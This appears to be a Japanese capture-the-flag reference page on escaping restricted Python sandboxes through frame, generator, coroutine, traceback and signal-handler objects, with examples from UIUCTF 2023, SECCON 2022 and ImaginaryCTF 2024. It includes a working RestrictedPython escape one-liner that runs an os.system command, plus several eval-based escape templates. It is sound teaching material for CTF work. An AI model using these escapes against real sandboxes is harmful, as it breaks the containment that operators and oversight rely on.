Frame and Traceback
Overview
Pythonのframe/tracebackオブジェクトは、実行コンテキストへのアクセスを提供する。これを利用して、制限された環境から脱出できる。
Frame オブジェクトの基礎
import sys
def get_frame(): return sys._getframe()
frame = get_frame()print(frame.f_locals) # ローカル変数print(frame.f_globals) # グローバル変数print(frame.f_builtins) # builtinsprint(frame.f_code) # コードオブジェクトprint(frame.f_back) # 呼び出し元のフレームGenerator の gi_frame
ジェネレータは gi_frame 属性でフレームにアクセスできる。
def gen(): yield 1
g = gen()frame = g.gi_frameprint(frame.f_globals)print(frame.f_builtins)RestrictedPython 脱出 (UIUCTF 2023)
RestrictedPython はジェネレータのフレームアクセスを制限しない:
(x for x in []).gi_frame.f_builtins['eval']('__import__("os").system("id")')Coroutine の cr_frame
async def coro(): pass
c = coro()frame = c.cr_frameprint(frame.f_builtins)c.close() # リソース解放Traceback オブジェクト
例外からトレースバックを取得:
try: 1/0except: import sys tb = sys.exc_info()[2] print(tb.tb_frame) # フレーム print(tb.tb_lineno) # 行番号 print(tb.tb_next) # 次のトレースバックwalrus 演算子との組み合わせ
try: 1/0except Exception as e: tb = e.__traceback__ tb.tb_frame.f_builtins['eval']('...')SECCON 2022 excepython
例外とトレースバックを利用した脱出:
# 例外オブジェクトの __traceback__ からフレームにアクセスclass Evil(Exception): pass
try: raise Evil()except Evil as e: frame = e.__traceback__.tb_frame frame.f_globals['__builtins__']['eval']('...')f_back チェーンの探索
import sys
def inner(): frame = sys._getframe() while frame: print(f"Function: {frame.f_code.co_name}") print(f"Globals keys: {list(frame.f_globals.keys())[:5]}") frame = frame.f_back
def outer(): inner()
outer()Frame への書き込み
Python 3.12 以前は f_locals への書き込みが可能:
import sysimport ctypes
def modify_local(): x = 1 frame = sys._getframe() frame.f_locals['x'] = 999 ctypes.pythonapi.PyFrame_LocalsToFast(ctypes.py_object(frame), ctypes.c_int(0)) print(x) # 999
modify_local()sys.settrace によるフレームアクセス
import sys
def trace_func(frame, event, arg): if event == 'call': print(f"Calling: {frame.f_code.co_name}") print(f"Builtins available: {'eval' in frame.f_builtins}") return trace_func
sys.settrace(trace_func)
def target(): pass
target()ImaginaryCTF 2024 calc
シグナルハンドラ経由でのフレームアクセス:
import signal
def handler(signum, frame): # frame はシグナル発生時のフレーム frame.f_globals['__builtins__']['eval']('...')
signal.signal(signal.SIGALRM, handler)signal.alarm(1)フレームを返す関数
| 方法 | 説明 |
|---|---|
sys._getframe() | 現在のフレーム |
generator.gi_frame | ジェネレータのフレーム |
coroutine.cr_frame | コルーチンのフレーム |
exception.__traceback__.tb_frame | 例外のフレーム |
signal_handler(signum, frame) | シグナルハンドラの引数 |
sys.settrace(func) | トレース関数の引数 |
Tips
sys._getframe()は CPython 専用、PyPy では異なる動作- フレームからは
f_builtinsで直接 builtins にアクセス可能 - ジェネレータ式
(x for x in [])は簡単にフレームを取得できる - Python 3.11+ では一部の最適化によりフレームアクセスが制限される場合がある